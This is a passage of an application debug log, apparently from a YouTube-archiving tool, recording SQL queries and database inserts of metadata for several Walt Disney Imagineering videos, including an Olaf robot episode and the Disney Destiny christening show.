Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ⛄️ in the comments if you can't wait to meet Olaf!", "Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering", "f9e898c6-0371-442d-beed-b36aa6e0ab94", "EoPN02bmzrE", "https://www.youtube.com/watch?v=EoPN02bmzrE", false, false, 11, "/downloads/Walt Disney Imagineering/2025-11-24 Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering/Real-Life Olaf Robot & Inside Imagineering's Research & Development | We Call It Imagineering [EoPN02bmzrE].NA", false, false, 2, [], 98, ~U[2025-11-24 00:00:00Z], ~U[2026-03-29 22:55:02Z], ~U[2026-03-29 22:55:02Z], "Step behind the scenes with Walt Disney Imagineering Research & Development and discover how Disney uses robotics, AI, and immersive technology to bring stories to life! From the brand new self-walking Olaf in World of Frozen and BDX Droids to cutting-edge attractions like Millennium Falcon: Smugglers Run, see how magic meets innovation.\n\nDisney Research continues to push boundaries through partnerships with tech leaders like NVIDIA, Epic Games, and Meta. This video highlights our collaboration with Meta using their Wearables Device Access Toolkit and AI glasses to unlock a world of innovation and storytelling for Disney guests and Imagineers.\n \n🔑 Key Takeaways\n→ Brand new self-walking Olaf coming to World of Frozen in Disney Parks\n→ Why partnerships with NVIDIA, Epic Games, and Meta power next-gen experiences\n→ We're not just using technology for technology's sake\n→ If we're doing our jobs properly, all of the technology goes away and our guests get immersed in the story that we're trying to tell\n→ Failure is embraced as part of pushing boundaries\n\n📋 Chapters\nLook Inside Disney Research Zurich: 1:24 \nOlaf Reveal: 2:27 \nRobotics Development Progression: 6:08\nNVIDIA Conversation: 10:14 \nMillennium Falcon Updates: 12:16\nH.E.R.B.I.E.: 14:47\nBDX Droids: 17:25\nJ.A.R.V.I.S.: 21:09\nStuntronics: 21:57\nLucky the Dinosaur History: 23:41\nNext-Generation Audio-Animatronics® Technology: 26:07\nAquatic Robots: 27:33\nMeta Glasses: 29:40\n\n📖 Read More on Disney Parks Blog → https://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nCome along as we take you on an inside look at Walt Disney Imagineering. Inspired by how Walt took us along during the development of Disneyland, this new series brings you into the creative and design journey as Disney Imagineers create new, innovative experiences for guests to enjoy at Disney Parks around the world!\n\n🔍 Explore More Episodes\n👻 Foolish Mortals → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Haunted\u00A0Mansion,...\u00A0\u00A0\n🏰 Building Castles → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Building\u00A0Castles\u00A0\u00A0\n🎤 On With The Show! → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0On\u00A0With\u00A0The\u00A0Show...\u00A0\u00A0\n🎢 Let's Ride → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Let's\u00A0Ride\u00A0\u00A0\n🎶 Soundscapes → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Soundscapes\u00A0\u00A0\n🦾 Audio-Animatronics® → \u00A0\u00A0\u00A0•\u00A0We\u00A0Call\u00A0It\u00A0Imagineering\u00A0|\u00A0Audio-Animatronics®\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u (truncated) 18:55:02.618 [debug] QUERY OK source="sources" db=0.1ms idle=83.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:02.619 [debug] QUERY OK source="media_profiles" db=0.2ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:02.619 [debug] QUERY OK source="media_items" db=0.2ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [3032] 18:55:02.619 [debug] Current batch of media processed. Will check again in 1000ms 18:55:03.620 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "filename" => "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].NA", "id" => "b7hgSAMfqe0", "original_url" => "https://www.youtube.com/watch?v=b7hgSAMfqe0", "playlist_index" => 12, "title" => "Why do roller coasters feel faster in the dark? | Imagineer That!", "upload_date" => "20251117"} 18:55:03.621 [debug] QUERY OK source="sources" db=0.2ms idle=1003.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:03.621 [debug] QUERY OK source="sources" db=0.1ms idle=1002.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:03.622 [debug] QUERY OK source="media_items" db=0.5ms idle=1002.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-17 00:00:00Z], 2] 18:55:03.662 [debug] QUERY OK source="media_items" db=39.8ms idle=1003.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "Why do roller coasters feel faster in the dark? | Imagineer That!", "c6284f40-1888-4554-be62-f5dd6582eba8", "b7hgSAMfqe0", "https://www.youtube.com/watch?v=b7hgSAMfqe0", false, false, 12, "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].NA", false, false, 2, [], 98, ~U[2025-11-17 00:00:00Z], ~U[2026-03-29 22:55:03Z], ~U[2026-03-29 22:55:03Z], "🎢 Why do roller coasters feel faster in the dark? In this episode of Imagineer That!, join Tom Morrow 2.0 as he goes behind the scenes at Walt Disney Imagineering to uncover the science—and storytelling—behind this thrilling illusion. If you’ve ever wondered how theme parks create unforgettable coaster experiences, this episode breaks it all down with fun facts and real Imagineering insights.\n\n✅ What you’ll learn:\n• How reduced visibility changes your sense of speed and anticipation\n• Why every twist, turn, and drop feels more intense at night\n• How Imagineers use props, lighting, and environmental design to enhance the sensation of speed\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🎢 in the comments if you love roller coasters!\n\n#waltdisneyimagineering #imagineerthat #disneyrides", "Why do roller coasters feel faster in the dark? | Imagineer That!", "b7hgSAMfqe0", "https://www.youtube.com/watch?v=b7hgSAMfqe0", nil, false, "/downloads/Walt Disney Imagineering/2025-11-17 Why do roller coasters feel faster in the dark? | Imagineer That!/Why do roller coasters feel faster in the dark? | Imagineer That! [b7hgSAMfqe0].NA", false, 2, ~U[2025-11-17 00:00:00Z]] 18:55:03.663 [debug] QUERY OK source="sources" db=0.2ms idle=126.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:03.663 [debug] QUERY OK source="media_profiles" db=0.1ms idle=42.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:03.664 [debug] QUERY OK source="media_items" db=0.2ms idle=42.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [2857] 18:55:03.664 [debug] Current batch of media processed. Will check again in 1000ms 18:55:04.665 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → \u00A0\u00A0\u00A0•\u00A0Relive\u00A0The\u00A0Disney\u00A0Destiny\u00A0Christening\u00A0|\u00A0Fu...\u00A0\u00A0\n\n✨ What makes this special?\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "filename" => "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].NA", "id" => "FFKBtnLo0mc", "original_url" => "https://www.youtube.com/watch?v=FFKBtnLo0mc", "playlist_index" => 13, "title" => "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "upload_date" => "20251111"} 18:55:04.666 [debug] QUERY OK source="sources" db=0.1ms idle=1003.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:04.666 [debug] QUERY OK source="sources" db=0.1ms idle=1003.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:04.667 [debug] QUERY OK source="media_items" db=0.5ms idle=1003.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-11 00:00:00Z], 2] 18:55:04.669 [debug] QUERY OK source="media_items" db=1.5ms idle=1003.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → \u00A0\u00A0\u00A0•\u00A0Relive\u00A0The\u00A0Disney\u00A0Destiny\u00A0Christening\u00A0|\u00A0Fu...\u00A0\u00A0\n\n✨ What makes this special?\n• First-of-its-kind projection show on a Disney Cruise Line ship\n• Stunning drone choreography lighting up the night sky\n• Behind-the-scenes creativity from Disney Live Entertainment\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n💬 Drop a ✨ in the comments if you made it this far — and let us know your favorite moment from the Disney Destiny christening!\n\n#DisneyDestiny #DisneyCruiseLine #WaltDisneyImagineering", "How Disney Created the Spectacular Christening Projection Show for the Disney Destiny", "c92f615a-4ced-4fce-b0a3-720d4224ad2e", "FFKBtnLo0mc", "https://www.youtube.com/watch?v=FFKBtnLo0mc", false, false, 13, "/downloads/Walt Disney Imagineering/2025-11-11 How Disney Created the Spectacular Christening Projection Show for the Disney Destiny/How Disney Created the Spectacular Christening Projection Show for the Disney Destiny [FFKBtnLo0mc].NA", false, false, 2, [], 98, ~U[2025-11-11 00:00:00Z], ~U[2026-03-29 22:55:04Z], ~U[2026-03-29 22:55:04Z], "Disney Cruise Line has officially christened its newest ship, the Disney Destiny, in spectacular fashion! Witness a groundbreaking moment as Disney Live Entertainment unveils a projection show featuring original artwork and animation projected onto a free-floating object, enhanced by a dazzling drone display. Watch the full show now → 